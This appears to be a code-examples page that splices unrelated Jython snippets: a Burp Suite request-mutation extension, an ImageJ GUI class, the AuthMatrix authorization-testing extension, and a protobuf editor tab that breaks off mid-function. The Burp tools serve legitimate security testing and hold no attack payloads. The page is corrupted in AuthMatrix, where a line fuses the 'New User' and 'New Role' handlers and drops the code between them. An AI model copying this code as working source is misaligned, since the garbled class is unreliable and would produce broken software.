        self.editorSplitPane.setLeftComponent(messageEditorOrig.getComponent())

        self.mutatedMessageEditorController.setRequestResponse(
            self.requestResponseCache[mutateId])
        messageEditorMutated = self.callbacks.createMessageEditor(
            self.mutatedMessageEditorController, False)
        messageEditorMutated.setMessage(
            self.requestResponseCache[mutateId].getResponse(), False)
        self.editorSplitPane.setRightComponent(
            messageEditorMutated.getComponent())

        print(mutateId)
        print("Row selected")
        print(str(index))

    def _buildResponseHeadersDictionary(self, headers):
        """Creates key/value lookup from list of headers.
           Header names are converted to lowercase.
           If header is returned multiple time, last header has precedence."""
        d = {}

        #Skip first "header", it's the response code line.
        for i in range(1, len(headers)):

            (name, value) = headers[i].split(":", 1)
            d[name.lower()] = value

        return d

    def _getDictValueOrEmptyStr(self, d, key):
        if key in d:
            return d[key]
        else:
            return ""

    def handleReceivedResponseForModifiedRequest(self, requestResponse):

        #Get original HTTP Request
        requestData = StringUtil.fromBytes(requestResponse.getRequest())
        requestId = re.search(b"^X-REQUEST-ID: ([^\r]*)",
                              requestData,
                              flags=re.MULTILINE).group(1).encode('ascii')
        origRequestId = re.search(b"^X-REQUEST-ORIG-ID: ([^\r]*)",
                                  requestData,
                                  flags=re.MULTILINE).group(1).encode('ascii')

        print("Keys")
        print(requestId)
        print(origRequestId)
        print(self.requestResponseCache.keys())

        self.requestResponseCache[requestId] = requestResponse

        origRequestResponse = self.requestResponseCache[origRequestId]

        analyzedOrigResponse = self.helpers.analyzeResponse(
            origRequestResponse.getResponse())
        analayzeMutatedResponse = self.helpers.analyzeResponse(
            requestResponse.getResponse())

        origResponseHeaders = self._buildResponseHeadersDictionary(
            analyzedOrigResponse.getHeaders())
        mutatedResponseHeaders = self._buildResponseHeadersDictionary(
            analayzeMutatedResponse.getHeaders())

        mutatedRequestInfo = self.helpers.analyzeRequest(
            requestResponse.getHttpService(), requestResponse.getRequest())

        model = self.jtable.getModel()
        model.addRow([
            str(mutatedRequestInfo.getUrl()),
            str(analayzeMutatedResponse.getStatusCode()),
            self._getDictValueOrEmptyStr(mutatedResponseHeaders,
                                         "content-length"),
            self._getDictValueOrEmptyStr(mutatedResponseHeaders, "location"),
            requestId, origRequestId
        ])

        print("Modified Request Found: %s %s" % (requestId, origRequestId))

        #Get original request and response object from lookup
        #Get request from lookup

    def processHttpMessage(self, toolFlag, messageIsRequest, requestResponse):
        if not messageIsRequest:
            requestData = StringUtil.fromBytes(requestResponse.getRequest())

            #We generated the request, process it
            if requestData.find(b"X-REQUEST-ID") != -1:

                self.handleReceivedResponseForModifiedRequest(requestResponse)

            #Response received for non-mutated request.
            #Mutate request and send it.
            else:

                origRequestResponseUUID = str(uuid.uuid4())
                reload(replacements)

                print("Looking for replacements")
                for replacement in self.replacements:
                    newRequestData = re.sub(self.origSearchString, replacement,
                                            requestData)

                    #If no replacemnets made, don't send any requests
                    if newRequestData != requestData:
                        newRequestUUID = str(uuid.uuid4())
                        newRequestData = re.sub(
                            b"Host",
                            b"X-REQUEST-ID: " + newRequestUUID + "\r\nHost",
                            requestData)
                        newRequestData = re.sub(
                            b"Host", b"X-REQUEST-ORIG-ID: " +
                            origRequestResponseUUID + "\r\nHost",
                            newRequestData)

                        print("Sending Mutated Request")
                        print(newRequestData)

                        self.requestResponseCache[
                            origRequestResponseUUID] = requestResponse
                        httpService = requestResponse.getHttpService()
                        self.callbacks.makeHttpRequest(httpService,
                                                       newRequestData)

            print("Got here")
예제 #22
0
class BobGui(JFrame):
    def __init__(self):
        super(BobGui, self).__init__('BobPy')
        # IJ.log('okay?')
        # print('okay??')
        self.setLayout(BorderLayout())
        self.main_panel = JPanel()
        # self.main_panel.setLayout(MigLayout('insets 1 10 1 1'))
        self.main_panel.setLayout(MigLayout())

        dir_panel = JPanel()
        dir_panel.setLayout(BoxLayout(dir_panel, BoxLayout.X_AXIS))

        dir_label = JLabel('Experiment Folder:')
        dir_panel.add(dir_label)

        self.dir_text_field = JTextField(10)
        self.dir_text_field.addActionListener(
            ActionListenerFactory(self, self.text_field_al))
        dir_panel.add(self.dir_text_field)

        dir_button = JButton('open')
        dir_button.addActionListener(
            ActionListenerFactory(self, self.choose_dir_al))
        dir_panel.add(dir_button)

        self.main_panel.add(dir_panel, 'wrap, growx, spanx, pushx')

        add_key_args(self.main_panel, 'close_w',
                     ActionListenerFactory(self, self.close_al), KeyEvent.VK_W,
                     Toolkit.getDefaultToolkit().getMenuShortcutKeyMask())

        self.add(self.main_panel, BorderLayout.CENTER)

        self.setPreferredSize(Dimension(650, 600))

        self.pack()
        self.setLocationRelativeTo(None)
        self.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE)
        self.setVisible(True)

    def show_exper_info(self):

        chf_panel = self.make_chf_panel()
        hseg_tree_panel = self.make_hseg_tree_panel()

        self.split_pane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)

        self.split_pane.setOneTouchExpandable(True)
        self.split_pane.setContinuousLayout(True)
        self.split_pane.setResizeWeight(0.5)

        self.split_pane.add(chf_panel)
        self.split_pane.add(hseg_tree_panel)
        self.main_panel.add(self.split_pane, 'grow, wrap')

        # self.log_text = JTextArea()
        self.main_panel.add(self.log_text, 'grow, wrap')
        self.log_text.setLineWrap(True)
        self.log_text.setWrapStyleWord(True)

        self.revalidate()

    def make_chf_panel(self):
        """ chf --> common hseg files """

        chf_panel = JPanel()
        chf_panel.setLayout(MigLayout('insets 0'))

        chf_files_label = JLabel('Hemisegment cells')
        chf_files_text = JTextArea(
            BobGui.archetype_to_str(
                self.exper.hseg_cell_files_cab().archetype))

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(chf_files_text, 'grow, wrap')

        chf_files_label = JLabel('Hemisegment binary image files')
        chf_files_text = JTextArea(
            BobGui.archetype_to_str(self.exper.hseg_bin_files_cab().archetype))

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(chf_files_text, 'grow, wrap')

        chf_files_label = JLabel('Intensity Image Files')
        # chf_files_text = JTextArea(BobGui.archetype_to_str(self.exper.hseg_intens_im_files_cab().archetype))
        # print(self.exper.hseg_intens_im_files_cab().archetype)

        # chf_panel.add(chf_files_label, 'growx, wrap')
        # chf_panel.add(chf_files_text, 'grow, wrap')

        self.intens_im_boxes = []
        intens_im_panel = JPanel()
        intens_im_panel.setLayout(MigLayout('insets 0'))
        for poss_im_file in self.exper.hseg_intens_im_files_cab().archetype:
            self.intens_im_boxes.append(JCheckBox(poss_im_file))
            intens_im_panel.add(self.intens_im_boxes[-1], 'wrap')

        chf_panel.add(chf_files_label, 'growx, wrap')
        chf_panel.add(intens_im_panel, 'grow, wrap')

        mdf_create_button = JButton(
            'Create meta_data file from default outline')
        # mdf_create_button = JButton('<html>Create meta_data file<br>from default outline</html>')
        mdf_create_button.addActionListener(
            ActionListenerFactory(self, self.mdf_create_al))
        mdf_open_button = JButton('Open existing meta_data file')
        mdf_open_button.addActionListener(
            ActionListenerFactory(self, self.mdf_open_al))

        # meta_data_file_buttton = JButton('Open/Create meta_data file')
        # meta_data_file_buttton.addActionListener(ActionListenerFactory(self, self.meta_data_al))

        # chf_panel.add(meta_data_file_buttton)
        chf_panel.add(mdf_create_button, 'wrap')
        chf_panel.add(mdf_open_button, 'wrap')
        chf_scroll_pane = JScrollPane()
        chf_scroll_pane.getViewport().setView(chf_panel)

        return chf_scroll_pane

    @staticmethod
    def archetype_to_str(archetype):

        at_str = ''
        for val in archetype:
            at_str += str(val) + '\n'
        return at_str

    def make_hseg_tree_panel(self):
        root = DefaultMutableTreeNode(self.exper.name)

        for hseg in self.exper.hsegs():
            hseg_node = DefaultMutableTreeNode(hseg.name)
            root.add(hseg_node)
            hseg_at_deviations = self.exper.hseg_files_cab(
            ).archetype_deviations
            if len(hseg_at_deviations[hseg.name]) > 0:
                for definer, file_names in hseg_at_deviations[
                        hseg.name].items():
                    for file_name in file_names:
                        node_str = definer + ': ' + file_name

                        temp = DefaultMutableTreeNode(node_str)
                        hseg_node.add(temp)

        hseg_tree = JTree(root)
        hseg_tree.setCellRenderer(BobPyTreeCellRenderer())

        hseg_scroll_pane = JScrollPane()
        hseg_scroll_pane.getViewport().setView((hseg_tree))

        hseg_panel = JPanel(MigLayout('insets 0'))
        hseg_panel.add(hseg_scroll_pane, 'grow, span, push, wrap')

        run_button = JButton('Run')
        run_button.addActionListener(ActionListenerFactory(self, self.run_al))
        rerun_button = JButton('Rerun')
        rerun_button.addActionListener(
            ActionListenerFactory(self, self.rerun_al))

        hseg_panel.add(run_button)
        hseg_panel.add(rerun_button)

        return hseg_panel

    def log(self, text):
        self.log_text.append(str(text) + '\n')

    def text_field_al(self, e):
        # self.dir_path =
        self.got_exper(self.dir_text_field.getText())

    def choose_dir_al(self, e):

        dc = DirectoryChooser('Choose a bob_py experiment folder')
        # self.dir_path = dc.getDirectory()

        # self.dir_text_field.setText(self.dir_path)
        # self.dir_text_field.setText('blerg')
        # IJ.log('blerg')
        # print('boop')
        self.got_exper(dc.getDirectory())

    def close_al(self, e):
        self.dispatchEvent(WindowEvent(self, WindowEvent.WINDOW_CLOSING))

    def run_al(self, e):
        # dt = br.dtic('Processed experiment {}'.format(self.exper.name))
        t = br.tic()
        self.exper.make_data()
        self.exper.output_cell_cols_def()
        self.exper.output_nuc_cols_def()
        self.exper.output_new_hdings()

        self.exper.log('Processed experiment {} in {:.3f} seconds'.format(
            self.exper.name, br.toc(t)))
        # br.dtoc(dt)

    def rerun_al(self, e):
        # dt = br.dtic('Processed experiment {}'.format(self.exper.name))
        # t = br.tic()
        self.exper = None
        self.got_exper(self.dir_path)
        self.run_al(None)
        # self.exper =
        # self.exper.make_data()
        # self.exper.output_cell_cols_def()
        # self.exper.output_nuc_cols_def()
        # self.exper.output_new_hdings()
        #
        # self.exper.log('Created and processed experiment {} in {:.3f} seconds'.format(self.exper.name, br.toc(t)))
        # br.dtoc(dt)

    # def meta_data_al(self, e) :
    #     meta_data_path = self.exper.meta_data_path()
    #     if not os.path.exists(meta_data_path) :
    #         txt = make_meta_data_str(self.exper)
    #         with open(meta_data_path, 'w') as f :
    #             f.write(txt)
    #
    #     IJ.open(meta_data_path)

    def mdf_create_al(self, e):
        meta_data_path = self.exper.meta_data_path()
        # if not os.path.exists(meta_data_path) :
        intens_im_list = []
        for check_box in self.intens_im_boxes:
            if check_box.isSelected():
                intens_im_list.append(check_box.getLabel())
        txt = make_meta_data_str2(self.exper, intens_im_list)
        with open(meta_data_path, 'w') as f:
            f.write(txt)

        # IJ.open(meta_data_path)

    def mdf_open_al(self, e):
        meta_data_path = self.exper.meta_data_path()

        IJ.open(meta_data_path)

    def got_exper(self, dir_path):
        # IJ.log('exper')
        self.dir_path = dir_path
        self.dir_text_field.setText(self.dir_path)

        self.log_text = JTextArea()

        self.exper = bob_py.Exper(dir_path, gui=self)
        self.show_exper_info()
예제 #23
0
class BurpExtender(IBurpExtender, ITab, IMessageEditorController,
                   IContextMenuFactory):

    #
    # implement IBurpExtender
    #

    def registerExtenderCallbacks(self, callbacks):

        # keep a reference to our Burp callbacks object
        self._callbacks = callbacks
        # obtain an Burp extension helpers object
        self._helpers = callbacks.getHelpers()
        # set our extension name
        callbacks.setExtensionName("AuthMatrix - v0.4")

        # DB that holds everything users, roles, and messages
        self._db = MatrixDB()

        # For saving/loading config
        self._fc = JFileChooser()

        # Used by ActionListeners
        selfExtender = self
        self._selectedColumn = -1
        self._selectedRow = -1

        # Table of User entries
        self._userTable = UserTable(self, model=UserTableModel(self._db))
        roleScrollPane = JScrollPane(self._userTable)
        self._userTable.redrawTable()

        # Table of Request (AKA Message) entries
        self._messageTable = MessageTable(self,
                                          model=MessageTableModel(self._db))
        messageScrollPane = JScrollPane(self._messageTable)
        self._messageTable.redrawTable()

        # Semi-Generic Popup stuff
        def addPopup(component, popup):
            class genericMouseListener(MouseAdapter):
                def mousePressed(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)

                def mouseReleased(self, e):
                    if e.isPopupTrigger():
                        self.showMenu(e)

                def showMenu(self, e):
                    if type(component) is JTableHeader:
                        table = component.getTable()
                        column = component.columnAtPoint(e.getPoint())
                        if type(
                                table
                        ) is MessageTable and column >= selfExtender._db.STATIC_MESSAGE_TABLE_COLUMN_COUNT or type(
                                table
                        ) is UserTable and column >= selfExtender._db.STATIC_USER_TABLE_COLUMN_COUNT:
                            selfExtender._selectedColumn = column
                        else:
                            return
                    else:
                        selfExtender._selectedRow = component.rowAtPoint(
                            e.getPoint())
                    popup.show(e.getComponent(), e.getX(), e.getY())

            component.addMouseListener(genericMouseListener())

        class actionRunMessage(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getMessageByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getMessageByRow(rowNum)._index
                            for rowNum in
                            selfExtender._messageTable.getSelectedRows()
                        ]
                    t = Thread(target=selfExtender.runMessagesThread,
                               args=[indexes])
                    t.start()
                    selfExtender._selectedColumn = -1
                    # Redrawing the table happens in colorcode within the thread

        class actionRemoveMessage(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._messageTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getMessageByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getMessageByRow(rowNum)._index
                            for rowNum in
                            selfExtender._messageTable.getSelectedRows()
                        ]
                    for i in indexes:
                        selfExtender._db.deleteMessage(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._messageTable.redrawTable()

        class actionRemoveUser(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedRow >= 0:
                    if selfExtender._selectedRow not in selfExtender._userTable.getSelectedRows(
                    ):
                        indexes = [
                            selfExtender._db.getUserByRow(
                                selfExtender._selectedRow)._index
                        ]
                    else:
                        indexes = [
                            selfExtender._db.getUserByRow(rowNum)._index
                            for rowNum in
                            selfExtender._userTable.getSelectedRows()
                        ]
                    for i in indexes:
                        selfExtender._db.deleteUser(i)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()

        # TODO combine these next two classes
        # TODO Also, clean up the variable names where M and U are in place of MessageTable and UserTable
        class actionRemoveRoleHeaderFromM(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(
                        selfExtender._db.getRoleByMColumn(
                            selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        class actionRemoveRoleHeaderFromU(ActionListener):
            def actionPerformed(self, e):
                if selfExtender._selectedColumn >= 0:
                    selfExtender._db.deleteRole(
                        selfExtender._db.getRoleByUColumn(
                            selfExtender._selectedColumn)._index)
                    selfExtender._selectedColumn = -1
                    selfExtender._userTable.redrawTable()
                    selfExtender._messageTable.redrawTable()

        # Message Table popups
        messagePopup = JPopupMenu()
        addPopup(self._messageTable, messagePopup)
        messageRun = JMenuItem("Run Request(s)")
        messageRun.addActionListener(actionRunMessage())
        messagePopup.add(messageRun)
        messageRemove = JMenuItem("Remove Request(s)")
        messageRemove.addActionListener(actionRemoveMessage())
        messagePopup.add(messageRemove)

        messageHeaderPopup = JPopupMenu()
        addPopup(self._messageTable.getTableHeader(), messageHeaderPopup)
        roleRemoveFromM = JMenuItem("Remove Role")
        roleRemoveFromM.addActionListener(actionRemoveRoleHeaderFromM())
        messageHeaderPopup.add(roleRemoveFromM)

        # User Table popup
        userPopup = JPopupMenu()
        addPopup(self._userTable, userPopup)
        userRemove = JMenuItem("Remove Users(s)")
        userRemove.addActionListener(actionRemoveUser())
        userPopup.add(userRemove)

        userHeaderPopup = JPopupMenu()
        addPopup(self._userTable.getTableHeader(), userHeaderPopup)
        roleRemoveFromU = JMenuItem("Remove Role")
        roleRemoveFromU.addActionListener(actionRemoveRoleHeaderFromU())
        userHeaderPopup.add(roleRemoveFromU)

        # Top pane
        topPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, roleScrollPane,
                             messageScrollPane)
        topPane.setResizeWeight(0.3)

        # request tabs added to this tab on click in message table
        self._tabs = JTabbedPane()

        # Button pannel
        buttons = JPanel()
        runButton = JButton("Run", actionPerformed=self.runClick)
        newUserButton = JButton("New User",
                                actionPerformed=self.getInputUserClick)
        newRoleButton = JButton("New Role",
                                actionPerformed=self.getInputRoleClick)
        #debugButton = JButton("Debug", actionPerformed=self.printDB)
        saveButton = JButton("Save", actionPerformed=self.saveClick)
        loadButton = JButton("Load", actionPerformed=self.loadClick)
        clearButton = JButton("Clear", actionPerformed=self.clearClick)
        buttons.add(runButton)
        buttons.add(newUserButton)
        buttons.add(newRoleButton)
        #buttons.add(debugButton)
        buttons.add(saveButton)
        buttons.add(loadButton)
        buttons.add(clearButton)

        bottomPane = JSplitPane(JSplitPane.VERTICAL_SPLIT, self._tabs, buttons)
        bottomPane.setResizeWeight(0.95)

        # Main Pane
        self._splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT, topPane,
                                     bottomPane)
        self._splitpane.setResizeWeight(0.5)

        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        callbacks.customizeUiComponent(topPane)
        callbacks.customizeUiComponent(bottomPane)
        callbacks.customizeUiComponent(messageScrollPane)
        callbacks.customizeUiComponent(roleScrollPane)
        callbacks.customizeUiComponent(self._messageTable)
        callbacks.customizeUiComponent(self._userTable)
        callbacks.customizeUiComponent(self._tabs)
        callbacks.customizeUiComponent(buttons)

        # Handles checkbox color coding
        # Must be bellow the customizeUiComponent calls
        self._messageTable.setDefaultRenderer(Boolean,
                                              SuccessBooleanRenderer(self._db))

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)
        # register SendTo option
        callbacks.registerContextMenuFactory(self)

        return

    ##
    ## implement ITab
    ##

    def getTabCaption(self):
        return "AuthMatrix"

    def getUiComponent(self):
        return self._splitpane

    ##
    ## Creates the sendto tab in other areas of Burp
    ##

    def createMenuItems(self, invocation):
        messages = invocation.getSelectedMessages()

        def addRequestsToTab(e):
            for messageInfo in messages:
                # saveBuffers is required since modifying the original from its source changes the saved objects, its not a copy
                messageIndex = self._db.createNewMessage(
                    self._callbacks.saveBuffersToTempFiles(messageInfo),
                    self._helpers.analyzeRequest(messageInfo).getUrl())
                #self._messageTable.getModel().addRow(row)
            self._messageTable.redrawTable()

        ret = []
        menuItem = JMenuItem("Send request(s) to AuthMatrix")
        menuItem.addActionListener(addRequestsToTab)
        ret.append(menuItem)
        return (ret)

    ##
    ## implement IMessageEditorController
    ## this allows our request/response viewers to obtain details about the messages being displayed
    ##
    ## TODO: Is this necessary? The request viewers may not require this since they aren't editable
    ##

    def getHttpService(self):
        return self._currentlyDisplayedItem.getHttpService()

    def getRequest(self):
        return self._currentlyDisplayedItem.getRequest()

    def getResponse(self):
        return self._currentlyDisplayedItem.getResponse()

    ##
    ## Actions on Bottom Row Button Clicks
    ##

    def printDB(self, e):
        out = ""
        for a in self._db.arrayOfUsers:
            out += str(a._index) + " " + a._name + " : " + str(a._roles) + "\n"
        for b in self._db.arrayOfMessages:
            out += str(b._index) + " " + str(b._roles) + "\n"
        JOptionPane.showMessageDialog(self._splitpane, out)

    def getInputUserClick(self, e):
        newUser = JOptionPane.showInputDialog(self._splitpane,
                                              "Enter New User:"******"Enter New Role:")
        if not newRole is None:
            self._db.getOrCreateRole(newRole)
            self._userTable.redrawTable()
            self._messageTable.redrawTable()

    def saveClick(self, e):
        returnVal = self._fc.showSaveDialog(self._splitpane)
        if returnVal == JFileChooser.APPROVE_OPTION:
            f = self._fc.getSelectedFile()
            if f.exists():
                result = JOptionPane.showConfirmDialog(
                    self._splitpane, "The file exists, overwrite?",
                    "Existing File", JOptionPane.YES_NO_OPTION)
                if result != JOptionPane.YES_OPTION:
                    return
            fileName = f.getPath()
            outs = io.ObjectOutputStream(io.FileOutputStream(fileName))
            outs.writeObject(self._db.getSaveableObject())
            outs.close()

    def loadClick(self, e):
        returnVal = self._fc.showOpenDialog(self._splitpane)
        if returnVal == JFileChooser.APPROVE_OPTION:
            warning = """
            CAUTION: 

            Loading a saved configuration deserializes data. 
            This action may pose a security threat to the application.
            Only proceed when the source and contents of this file is trusted. 

            Load Selected File?
            """
            result = JOptionPane.showOptionDialog(self._splitpane, warning,
                                                  "Caution",
                                                  JOptionPane.YES_NO_OPTION,
                                                  JOptionPane.WARNING_MESSAGE,
                                                  None, ["OK", "Cancel"], "OK")
            if result != JOptionPane.YES_OPTION:
                return
            f = self._fc.getSelectedFile()
            fileName = f.getPath()

            ins = io.ObjectInputStream(io.FileInputStream(fileName))
            dbData = ins.readObject()
            ins.close()

            self._db.load(dbData, self._callbacks, self._helpers)
            self._userTable.redrawTable()
            self._messageTable.redrawTable()

    def clearClick(self, e):
        self._db.clear()
        self._tabs.removeAll()
        self._userTable.redrawTable()
        self._messageTable.redrawTable()

    def runClick(self, e):
        t = Thread(target=self.runMessagesThread)
        self._tabs.removeAll()
        t.start()

    ##
    ## Methods for running messages and analyzing results
    ##

    def runMessagesThread(self, messageIndexes=None):
        self._db.lock.acquire()
        try:
            indexes = messageIndexes
            if not indexes:
                indexes = self._db.getActiveMessageIndexes()
            self.clearColorResults(indexes)
            for index in indexes:
                self.runMessage(index)
                #self.colorCodeResults()
        except:
            traceback.print_exc(file=self._callbacks.getStderr())
        finally:
            self._db.lock.release()
            self.colorCodeResults()

    # TODO: This method is too large. Fix that
    def runMessage(self, messageIndex):
        messageEntry = self._db.arrayOfMessages[messageIndex]
        # Clear Previous Results:
        messageEntry._roleResults = {}
        messageEntry._userRuns = {}

        messageInfo = messageEntry._requestResponse
        requestInfo = self._helpers.analyzeRequest(messageInfo)
        reqBody = messageInfo.getRequest()[requestInfo.getBodyOffset():]
        for userIndex in self._db.getActiveUserIndexes():
            userEntry = self._db.arrayOfUsers[userIndex]
            headers = requestInfo.getHeaders()
            if userEntry.isCookie():
                cookieHeader = "Cookie:"
                newheader = cookieHeader
                # getHeaders has to be called again here cuz of java references
                for header in requestInfo.getHeaders():
                    if str(header).startswith(cookieHeader):
                        newheader = str(header).strip()
                        headers.remove(header)

                # If its a valid cookie
                equals = userEntry._token.find("=")
                if equals >= 0:
                    cookieIndex = newheader.find(userEntry._token[0:equals +
                                                                  1])
                    # Cookie already exists and must be removed
                    if cookieIndex >= 0:
                        semicolon = newheader.find(";", cookieIndex)
                        if semicolon >= 0:
                            # Remove extra whitespace
                            if newheader[semicolon + 1:semicolon + 2] == " ":
                                newheader = newheader.replace(
                                    newheader[cookieIndex:semicolon + 2], "")
                            else:
                                newheader = newheader.replace(
                                    newheader[cookieIndex:semicolon + 1], "")
                        else:
                            newheader = newheader.replace(
                                newheader[cookieIndex:], "")
                        # Removing tailing semicolon and white space
                        newheader = newheader.rstrip("; ")
                # Handle when the only cookie is the target cookie
                if not newheader == cookieHeader:
                    newheader += ";"
                newheader += " " + userEntry._token

            # Header
            else:
                newheader = userEntry._token
                colon = newheader.find(":")
                if colon >= 0:
                    # getHeaders has to be called again here cuz of java references
                    for header in requestInfo.getHeaders():
                        if str(header).startswith(newheader[0:colon + 1]):
                            headers.remove(header)

            headers.add(newheader)

            # Add static CSRF token if available
            # TODO: Kinda hacky, but for now it will add the token as long as there is some content in the post body
            # Even if its a GET request.  This screws up when original requests have no body though... oh well...
            newBody = reqBody
            if userEntry._staticcsrf and len(reqBody):
                delimeter = userEntry._staticcsrf.find("=")
                if delimeter >= 0:
                    csrfname = userEntry._staticcsrf[0:delimeter]
                    csrfvalue = userEntry._staticcsrf[delimeter + 1:]
                    params = requestInfo.getParameters()
                    for param in params:
                        if str(param.getName()) == csrfname:
                            # Handle CSRF Tokens in Body
                            if param.getType() == 1:
                                newBody = reqBody[0:param.getValueStart(
                                ) - requestInfo.getBodyOffset(
                                )] + StringUtil.toBytes(csrfvalue) + reqBody[
                                    param.getValueEnd() -
                                    requestInfo.getBodyOffset():]
                            # Handle CSRF Tokens in Cookies (for Cookie==Body mitigation technique):
                            if param.getType() == 2:
                                # TODO: required moving above portion to a function
                                # TODO: also need to think about when cookie name != postarg name
                                print "Cookie CSRF Tokens are not currently supported"
                    if newBody == reqBody:
                        newBody = reqBody + StringUtil.toBytes(
                            "&" + userEntry._staticcsrf)

            # Construct and send a message with the new headers
            message = self._helpers.buildHttpMessage(headers, newBody)
            requestResponse = self._callbacks.makeHttpRequest(
                messageInfo.getHttpService(), message)
            messageEntry.addRunByUserIndex(
                userIndex,
                self._callbacks.saveBuffersToTempFiles(requestResponse))

        # Grab all active roleIndexes that should succeed
        activeSuccessRoles = [
            index for index in messageEntry._roles.keys()
            if messageEntry._roles[index]
            and not self._db.arrayOfRoles[index].isDeleted()
        ]
        # Check Role Results of message
        for roleIndex in self._db.getActiveRoleIndexes():
            success = self.checkResult(messageEntry, roleIndex,
                                       activeSuccessRoles)
            messageEntry.setRoleResultByRoleIndex(roleIndex, success)

    def colorCodeResults(self):
        self._messageTable.redrawTable()

    def clearColorResults(self, messageIndexArray=None):
        if not messageIndexArray:
            messageIndexes = self._db.getActiveMessageIndexes()
        else:
            messageIndexes = messageIndexArray
        for messageIndex in messageIndexes:
            messageEntry = self._db.arrayOfMessages[messageIndex]
            messageEntry._roleResults = {}
            messageEntry._userRuns = {}
        self._messageTable.redrawTable()

    def checkResult(self, messageEntry, roleIndex, activeSuccessRoles):
        for userIndex in self._db.getActiveUserIndexes():
            userEntry = self._db.arrayOfUsers[userIndex]

            ignoreUser = False
            # if user is not in this role, ignore it
            if not userEntry._roles[roleIndex]:
                ignoreUser = True
            # If user is in any other role that should succeed, then ignore it
            for index in userEntry._roles.keys():
                if not index == roleIndex and userEntry._roles[
                        index] and index in activeSuccessRoles:
                    ignoreUser = True

            if not ignoreUser:
                shouldSucceed = roleIndex in activeSuccessRoles
                requestResponse = messageEntry._userRuns[userEntry._index]
                resp = StringUtil.fromBytes(requestResponse.getResponse())
                found = re.search(messageEntry._successRegex, resp, re.DOTALL)
                succeeds = found if shouldSucceed else not found
                if not succeeds:
                    return False
        return True
예제 #24
0
class ProtoBufEditorTab(burp.IMessageEditorTab):
    """Tab in interceptor/repeater for editing protobuf message.
    Decodes them to JSON and back.
    The message type is attached to this object.
    """
    def __init__(self, extender, controller, editable):

        self._extender = extender
        self._callbacks = extender.callbacks
        self._helpers = extender.helpers

        self._controller = controller

        self._text_editor = self._callbacks.createTextEditor()
        self._text_editor.setEditable(editable)
        self._editable = editable

        self._component = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._component.setLeftComponent(self._text_editor.getComponent())
        self._component.setRightComponent(self.createButtonPane())
        self._component.setResizeWeight(0.8)

        self.message_type = None
        self._is_request = None
        self._encoder = None
        self._original_json = None
        self._content_info = None
        self._request_content_info = None
        self._request = None
        self._original_content = None

    def getTabCaption(self):
        """Return message tab caption"""
        return "Protobuf"

    def getMessage(self):
        """Transform the JSON format back to the binary protobuf message"""
        try:
            if self.message_type is None or not self.isModified():
                return self._original_content

            json_data = self._text_editor.getText().tostring()

            protobuf_data = blackboxprotobuf.protobuf_from_json(
                json_data, self.message_type)

            protobuf_data = self.encodePayload(protobuf_data)
            if 'set_protobuf_data' in dir(user_funcs):
                result = user_funcs.set_protobuf_data(
                    protobuf_data, self._original_content, self._is_request,
                    self._content_info, self._helpers, self._request,
                    self._request_content_info)
                if result is not None:
                    return result

            headers = self._content_info.getHeaders()
            return self._helpers.buildHttpMessage(headers, str(protobuf_data))

        except Exception as exc:
            self._callbacks.printError(traceback.format_exc())
            JOptionPane.showMessageDialog(
                self._component, "Error encoding protobuf: " + str(exc))
            # Resets state
            return self._original_content

    def setMessage(self, content, is_request, retry=True):
        """Get the data from the request/response and parse into JSON.
           sets self.message_type
        """
        # Save original content
        self._original_content = content
        if is_request:
            self._content_info = self._helpers.analyzeRequest(
                self._controller.getHttpService(), content)
        else:
            self._content_info = self._helpers.analyzeResponse(content)
        self._is_request = is_request
        self._request = None
        self._request_content_info = None

        if not is_request:
            self._request = self._controller.getRequest()
            self._request_content_info = self._helpers.analyzeRequest(
                self._controller.getHttpService(), self._request)

        message_hash = self.getMessageHash()

        # Try to find saved messsage type
        self.message_type = None
        if message_hash in self._extender.known_types:
            self.message_type = self._extender.known_types[message_hash]

        try:
            protobuf_data = None
            if 'get_protobuf_data' in dir(user_funcs):
                protobuf_data = user_funcs.get_protobuf_data(
                    content, is_request, self._content_info, self._helpers,
                    self._request, self._request_content_info)
            if protobuf_data is None:
                protobuf_data = content[self._content_info.getBodyOffset(
                ):].tostring()

            protobuf_data = self.decodePayload(protobuf_data)
            json_data, self.message_type = blackboxprotobuf.protobuf_to_json(
                protobuf_data, self.message_type)

            # Save the message type
            self._extender.known_types[message_hash] = self.message_type

            self._original_json = json_data
            self._text_editor.setText(json_data)
            success = True
        except Exception as exc:
            success = False
            self._callbacks.printError(traceback.format_exc())

        # Bring out of exception handler to avoid nexting handlers
        if not success:
            if retry:
                # Clear existing type info and retry
                prev_type = self.message_type
                self.message_type = None
                if message_hash in self._extender.known_types:
                    del self._extender.known_types[message_hash]
                try:
                    self.setMessage(content, is_request, False)
                except Exception as exc:
                    # If it still won't parse, restore the types
                    self.message_type = prev_type
                    self._extender.known_types[message_hash] = prev_type
            else:
                self._text_editor.setText("Error parsing protobuf")

    def decodePayload(self, payload):
        """Add support for decoding a few default methods. Including Base64 and GZIP"""
        if payload.startswith(bytearray([0x1f, 0x8b, 0x08])):
            gzip_decompress = zlib.decompressobj(-zlib.MAX_WBITS)
